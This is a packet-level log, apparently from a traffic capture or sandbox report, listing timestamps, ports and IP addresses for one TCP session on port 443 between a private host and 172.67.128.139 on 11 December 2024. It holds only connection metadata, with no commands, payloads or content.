Dec 11, 2024 12:29:50.548907995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.549313068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.549323082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.549525023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.549532890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.549617052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.549676895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.550467014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.550477982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.550605059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.550649881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.550649881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.550656080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.550700903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.550800085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.550800085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.552069902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.552078962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.552229881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.552229881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.552277088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.552280903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.552323103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.552422047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.552515030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.553209066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.553219080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.553564072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.553570986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.553762913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.554022074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.554032087 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.554189920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.554195881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.554296970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.554358006 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.555170059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.555181026 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.555310965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.555356026 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.555356026 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.555361986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.555404902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.555505991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.555555105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.556891918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.556901932 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.557442904 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.557451010 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.557725906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.557756901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.557768106 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.558017969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.558024883 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.558119059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.558404922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.558799028 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.558811903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.558950901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.558995962 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.558995962 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.559000969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.559118986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.559164047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.560511112 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.560520887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.560667038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.560667038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.560712099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.560717106 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.560761929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.560761929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.560863018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.561434031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.561443090 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.561626911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.561691046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.561696053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.561979055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.562625885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.562635899 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.562798977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.562798977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.562808037 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.562844992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.562844992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.562942028 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.563445091 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.563455105 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.563630104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.563725948 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.563730955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.563878059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.565148115 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.565159082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.565309048 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.565402985 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.565402985 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.565407991 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.565632105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.566234112 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.566248894 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.566466093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.566466093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.566474915 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.566617012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.567414999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.567425966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.567749023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.567754984 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.567943096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.568008900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.568301916 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.568317890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.568495035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.568597078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.568602085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.568723917 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.569864988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.569875956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.570014000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.570014000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.570060015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.570065022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.570108891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.570108891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.570209026 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.570998907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.571010113 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.571281910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.571388960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.571393967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.571571112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.571765900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.571851969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.571861982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.572119951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.572127104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.572165966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.572339058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.573544979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.573554993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.573781967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.573788881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.573832989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.573936939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.574650049 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.574665070 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.574798107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.574798107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.574843884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.574843884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.574848890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.574940920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.574994087 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.575748920 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.575757980 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.575933933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576006889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576011896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.576253891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576657057 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.576667070 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.576803923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576803923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576849937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576849937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.576853991 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.576951027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.577033997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.578300953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.578311920 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.578460932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.578460932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.578509092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.578514099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.578607082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.578607082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.578655958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.579518080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.579528093 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.579699039 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.579699993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.579708099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.579749107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.579749107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.579843044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.580326080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.580337048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.580558062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.580564976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.580602884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.580699921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.581722021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.581732035 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.581921101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.581928968 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.582066059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.583169937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.583179951 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.583390951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.583399057 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.583518028 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.583657980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.584033966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.584045887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.584223986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.584271908 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.584276915 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.584363937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.584418058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.585166931 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.585175991 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.585393906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.585393906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.585402012 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.585663080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.585740089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.585942030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.585989952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.765731096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.765742064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.765898943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.765898943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.765947104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.765950918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.766045094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.766096115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.766814947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.766823053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.766968012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.766968012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.767013073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.767013073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.767016888 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.767188072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.768023968 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.768032074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.768213034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.768213034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.768219948 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.768263102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.768312931 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.768410921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.768942118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.768949986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.769151926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.769151926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.769157887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.769200087 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.769361019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.770472050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.770479918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.770646095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.770646095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.770653009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.770693064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.770840883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.771433115 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.771559954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.771632910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.771728992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.771733046 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.771778107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.771892071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.772592068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.772598982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.772751093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.772798061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.772802114 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.772846937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.772846937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.772996902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.773746014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.773753881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.773896933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.773974895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.773974895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.773979902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.774204969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.774565935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.774574041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.774780989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.774785995 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.774830103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.774924040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.776181936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.776189089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.776303053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.776364088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.776364088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.776367903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.776513100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.776513100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.777353048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.777360916 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.777548075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.777548075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.777596951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.777600050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.777698040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.777767897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.778178930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.778187037 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.778326035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.778425932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.778429985 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.778471947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.778575897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.779966116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.779973030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.780116081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.780116081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.780169010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.780172110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.780216932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.780371904 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.780890942 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.780898094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.781047106 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.781095982 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.781099081 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.781141043 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.781141043 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.781255007 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.781860113 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.781867981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.782018900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.782018900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.782026052 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.782067060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.782166958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.783036947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.783045053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.783217907 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.783217907 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.783268929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.834553003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844427109 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844435930 CET	443	49756	172.67.128.139	192.168.11.30
